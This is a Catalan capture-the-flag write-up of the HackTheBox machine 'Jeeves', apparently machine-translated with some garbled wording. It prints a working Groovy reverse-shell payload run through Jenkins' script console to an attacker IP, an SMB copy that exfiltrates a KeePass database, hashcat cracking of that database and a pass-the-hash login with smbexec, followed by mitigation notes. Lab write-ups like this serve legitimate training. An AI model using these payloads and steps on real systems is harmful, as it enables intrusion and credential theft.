Jeeves

Llança Jeeves i segueix avançant a HTB!

Introducció

avatar Descobrant el teu punt d’entrada mitjançant una aplicació web Jenkins, una prova d’enumeració de fitxers i descobrint transmissors de dades alternatius. Aquesta màquina va destacar les meves debilitats, però arribàrem-hi amb investigació i persistència. Això és un gran exemple per entrenar els teus mètodes de recopilació d’informacions i enumeració.

Fase de Recerca

eix, Entrant en blanc.

$TARGET es va generar a 10.10.10.63 Escaneeu la target amb NMap, fingerprinting cada servei.

nmap -Pn -oA nmap/scan --min-rate 1000 -sCV -p- 10.10.10.63

20251219141843 20251219141843 Veiem uns detalls aquí;

  1. Pàgina web a port 80/tcp apoiada per IIS 10.0.
  2. SMB està obert.
  3. Existeix un servidor web Jetty a port 50000/tcp.

Els proporciona immediatament uns pocs treballs d’investigació.

Tasques

  • Comprova l’accés a SMB
  • Revisa la pàgina web d’IIS
  • Revisa la pàgina web de Jetty

Comprova l’accés SMB

No tenim cap credencial, i això pot ser una tasca ràpida si no estan disponibles les sessions nules de SMB.

Utilitzant smbclient comprovem si hi ha una sessió nula.

smbclient -N -U "" -L \\10.10.10.63
# configuració de la sessió fallida: NT_STATUS_ACCESS_DENIED 

Això resol el problema, podem passar a l’acció següent.

Tasques

  • Comprova l’accés a SMB
  • Revisa la pàgina web d’IIS
  • Revisa la pàgina web de Jetty

Revisió de la pàgina web d’IIS

Visitem http://10.10.10.63 per identificar qualsevol troba potencial. 20251219142723 20251219142723 Ràpidament descobriràs uns pocs problemes en aquesta pàgina inofensiva.

  1. La teva primera cerca et portarà a una pàgina /error.html. A més dels estrany temps d’estampat i la versió antiga de MSSQL, observaràs que aquest error és simplement una imatge - i res més. 20251219143141 20251219143141
  2. La barra de cerca a la pàgina principal / no utilitza la teva entrada, i el botó sempre et dirigirà a /error.html. 20251219143326 20251219143326
  3. Executar qualsevol enumeració de directoris només tornarà index, error i un resultat style.css, res particularment útil, i cap hit amb recorregut de directoris per a IIS 10.0.

Pots passar-te d’aquí, ja que no hi ha moltes angles a prenre.

Tasques

  • Comprova l’accés a SMB
  • Revisa la pàgina web d’IIS
  • Revisa la pàgina web de Jetty

Revisió de la pàgina web Jetty

Visitant http://10.10.10.63:50000 veuràs una pàgina d’error 404. 20251219143805 20251219143805 Notablement, veiem una versió de desenvolupament del Jetty. Jugant aquí, et pots adonar que tens control d’entrada d’usuari amb el missatge Problem accessinng $INPUT Reason:. Pots explorar diverses situacions aquí.

  1. Investiga el Jetty i prova les vulnerabilitats de transversalitat del directori WEB-INF que surten. Observaràs que CVE-2021-28164 no funciona en aquesta instància.
  2. Intenta algunes tècniques XSS contra les entrades controlades per l’usuari. No obstant això, es sanititzen.
  3. Enumeració de directoris, especialment quan executes DirBuster-2007_directory-list-2.3-small.txt des de SecLists, et proporcionarà un acert. Després de tots aquests falsos camins, aquest moment ofereix una gran aliviant.

Utilitzant ffuf intentem trobar qualsevol directori ocult.

ffuf -w /opt/lists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt -u "http://10.10.10.63:50000/FUZZ" -ic -t 200

20251219144626 20251219144626 Pots visitar http://10.10.10.63:50000/askjeeves i veure què surt. 20251219144803 20251219144803 Bé, hem entrat en una instància de Jenkins.

Tasques

  • Comprova l’accés a SMB
  • Revisa la pàgina web d’IIS
  • Revisa la pàgina web de Jetty
  • Inspecta la instància de Jenkins

Bandera d’Usuari

Jenkins és un trobada prometedora, sobre tot doncs no hem hagut de autenticar.

Observaràs que tens privilegis d’administrador aquí, així que la confiança és alta que ens endinsarem en el sistema des d’aquest punt.

Hi ha dues mètodes que pots fer:

  1. Construeix un treball batch i estableix una conca reversa
  2. Utilitza la consola de script groovy per establir una conca reversa

Continuaré amb l’opció 2. Pots explorar la interfície i trobar la consola de scripts, però generalment es troba a /script, així que visita http://10.10.10.63:50000/askjeeves/script i podem provar l’execució de comandes.

A la Consola de Scripts, podem enviar una comanda whoami per obtenir algunes informacions.

def cmd = "cmd.exe /c whoami".execute();
println("${cmd.text}");

20251219145425 20251219145425 20251219145434 20251219145434 S’ha confirmat l’execució de comandes, ara cal configurar-se per a una conca reversa utilitzant nc al port 6969.

nc -lvp 6969

20251219145605 20251219145605 Ara que s’ha establert el escenari - diguem a Jenkins que execute una conca reversa.

String host="10.10.14.4";
int port=6969;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Executa això i.. 20251219145852 20251219145852 L’hem capturat!

La Consola de Scripts de Jenkins ha demostrat ser el nostre punt d’entrada al servidor web. Pots començar a cercar vectors d’escalada des d’aquesta posició.

Tasques

  • Inspecciona la instància de Jenkins
  • Enumera l’usuari kohsuke

Enumera l’usuari kohsuke

Estrany. Estem en el directori de l’usuari Administrator. Però ràpidament descobres que no pots navegar

![info]- “Aquest bloc de codi conté dades binàries o hashes que no es poden traduir.”

# e323<REDACTED>066a

Genial! A partir d’aquí podem començar a trobar el nostre camí d’escalada.

Normalment, comencio fent cerques recursives de paraules clau des de posicions estratègiques del sistema de fitxers.

Però fer comprovacions ràpides en el directori d’Usuari pot portar els secrets que necessitem. Comprovant el directori C:\Users\kohsuke\Documents\

cd ..\Documents

20251219151021 20251219151021

Trobem una base de dades KeePass relativament ràpidament. Intentarem esbrucar-la, i si això no funciona encara tenim moltes coses del compte d’usuari kohsuke per enumerar.

### Tasques
- [x] Inspecciona la instància de Jenkins
- [x] Enumera l'usuari kohsuke
- [ ] Roba el fitxer kdbx
- [ ] Treu el fitxer kdbx
- [ ] Enumera de nou l'usuari kohsuke
# Bandera de Raíz
Per tant, primer necessitem transferir la base de dades de **KeePass** de nou a `$CAT_HOST` abans de poder començar amb el crackeig de hashes.
## Roba kdbx
A `$CAT_HOST` podem crear una compartició **SMB** anomenada `catShare`, i robar-la.

Crea `catShare`, aleshores configura el servidor utilitzant **impacket-smbserver**.
```bash
mkdir ./catShare; cd ./catShare; smbserver.py -smb2support catShare ./

Tornem a kohsuke copiarem el kdbx a \\$CAT_HOST\catShare

copy Documents\CEH.kdbx \\10.10.14.4\catShare\

20251219153313 20251219153313 Va ser tan fàcil :3

Tasques

  • Robar kdbx
  • Trencar kdbx
  • Enumerant de nou a kohsuke

Crack kdbx

Aqui busquem recuperar la xarxa de CEH.kdbx utilitzant el conjunt d’eines 2john. El resultat és una xarxa que s’introdueix a hashcat, que l’executarem contra la llista de paraules rockyou.txt.

Recupera la xarxa de keepass amb keepass2john

keepass2john CEH.kdbx  > ../hashcat/CEH_kdbx.hash
# CEH:$keepass$*2*6000*0*1af405cc00f9<SNIP>612fe647db48

Inserir el hash de keepass a hashcat

hashcat ./hashcat/CEH_kdbx.hash ~/lists/extras/rockyou.txt -m 13400 --username

20251219090615 20251219090615 Amb això! Hem trobat les nostres credencials per obrir la base de dades KeePass.

Desbloquejant el fitxer, et trobes amb un conjunt de credencials. 20251219154521 20251219154521 Extreient tots els parells de credencials aquí, obtenim

?:aad3b435b51404eeaad3b435b51404ee:e0fb<REDACTED>fe00
Michael321:12345
administrator:S1TjAtJHKsugh9oC4VZl
hackerman123:pwndyouall!
admin:F7WhTrSFDKB6sxHU1cUn
admin:<BLANK>
bob:lCEUnYPjNfIuPZSzOySA
anonymous:Password

Això sembla un trobada prometedora, tenim uns pocs conjunts de credencials per provar, alguns sentin admin, i estranyament enough la primera entrada és definitivament un hash NTLM, que també podem intentar utilitzar.

Tasques

  • Robar kdbx
  • Trencar kdbx
  • Provar credencials
  • Enumerant de nou a kohsuke

Provar Credencials

Prepareu la llista de contrasenyes. Pots utilitzar NetExec per provar parells de credencials i veure si obtenim qualsevol resultat positiu.

nxc smb 10.10.10.63 -u administrator -p passwords.list 

20251219155452 20251219155452 I finalment, tenim el hash NTLM que hem descobert, intenta-ho també.

nxc smb 10.10.10.63 -u administrator -H aad3b435b51404eeaad3b435b51404ee:e0fb<REDACTED>fe00

20251219155714 20251219155714 Sembla que aquesta troba era el hash de l’administrador local.

Tasques

  • Roba el fitxer kdbx
  • Trepa el fitxer kdbx
  • Prova les credencials
  • Recupera la bandera

Recuperar la Bandera

Pots començar a executar comandes contra el servidor web com a administrator, així que utilitzant smbexec permet autenticar-se i obtenir la bandera de root.

smbexec.py "Administrator"@$TARGET -hashes "aad3b435b51404eeaad3b435b51404ee:e0fb<REDACTED>fe00"

20251219160013 20251219160013

Inspecciona la carpeta de l’escriptori de administrator

dir c:\Users\Administrator\Desktop

20251219160133 20251219160133 Veus un fitxer estrany en comptes del fitxer root.txt esperat? Obre’l i mira què diu.

type c:\Users\Administrator\Desktop\hm.txt
# La bandera està altra part. Cerca més profundament.

Oh..

Pots enumerar la màquina intentant cercar el fitxer root.txt, però per a estalviar temps, has de veure el hm.txt com una pista literal. Stream de Dades Alternativa és un mètode d’ocultar contingut dintre streams addicionals d’un fitxer. Com si es tractés el fitxer com a una carpeta.

Utilitzant l’opció /r, podem veure Streams de Dades Alternativa dins la carpeta.

dir /r c:\Users\Administrator\Desktop

20251219160953 20251219160953

Aquí, veiem que root.txt és un stream de dades alternativa sota hm.txt, per a visualitzar-ho podem utilitzar el comando more, referenciant el fitxer:ADS_fitxer

more < hm.txt:root.txt

Conclusió/Mitigacions

D’acord - aniré a ser franc aquí. Aquesta màquina m’ha destacat les meves insuficients habilitats de recopilació d’informació i enumeració. No obstant això, ara que ho sé, estarà ajudant a millorar aquelles competències en el futur. Treure’m dels primers dos llocs web m’va portat per camins profunds de les quals hauria d’haver sortit molt més aviat. Arribar a hm.txt la primera vegada també em va fer cercar molts altres fitxers d’interès i enumerar àrees on no hi havia d’estar. Aprendre a identificar què és important i què és viable són competències molt importants. Recordant el concepte de fluxos de dades alternatius va portar una llum que absolutament ha pagat fructes. Espero que aquesta màquina també t’ha ensenyat alguna cosa important. Aprendre a identificar falsos camins i aprendre a deixar anir els possibles vulnerabilitats és tan importants com identificar-les.

A més, aquesta màquina és molt antiga, fent-la susceptible d’atacs com el JuicyPotato i relacionats. També pots completar aquesta màquina enumerant la informació de les actualitzacions i trobar que és la teva aventura.

Controls d’Accés Insuficients - Jenkins

El servei Jenkins estava mal configurat per no demanar autenticació quan es visitava http://10.10.10.63/askjeeves.
Aquesta mal configuració va resultar en accés complet a la Consola de Scripting Groovy, on pucem executar comandes directes al sistema.

Cal implementar un mètode d’autenticació intern o extern per a la gestió d’usuaris. El administrador del sistema ha d’actualitzar els paràmetres d’Autorització localitzats en el menú Configurar Seguretat Global.

Credencials Débils - KeePass

El fitxer CEH.kdbx detectat estava protegit amb una contrasenya feble i comuna que és públicament disponible en llistes de paraules comunes. Això va resultar en la exposició de dades sensibles per a les credencials del compte i els hàshs del compte.

Implementar una política de contrasenyes fortes resultaria en una millora significativa per a la seguretat de les dades sensibles emmagatzemades en la base de dades KeePass. Mesures addicionals per moure la base de dades a un lloc més segur, o protegir les dades sensibles contingudes en aquesta base de dades a un lloc més segur, resultaran en millors proteccions per a aquestes dades sensibles.

SeImpersonate Privilegiat Compte d’Usuari

Aquest és un altre camí d’escalada quan s’arriba al compte kohsuke; no obstant això, no estava previst en el moment de la llançament per a aquesta màquina. Així que ompliré aquest pas de mitjana en aquesta redacció.

Referències

InvestigacióDescripció
Alternative Data StreamResum de Lectura/Escriptura/E
KeePass Password SafeEina de gestió de contrasenyes
Jenkins User DocumentationDocumentació per a usuaris del Jenkins, gran trobar guies de configuració segurs.
Eines UtilitzadesDescripció
ffufEina de fuzzer web ràpida i flexible
hashcatEina avançada per recuperar contrasenyes
JuicyPotatoEina de escalada de privilegis locals utilitzant SeImpersonate i SeAssignPrimaryToken
NetExecEina d’exploració de serveis de xarxa, automatitzant ràpidament la seguretat de la xarxa
SecListsCol·lecció de llistes de paraules comunes per a utilitzar en valorsacions de seguretat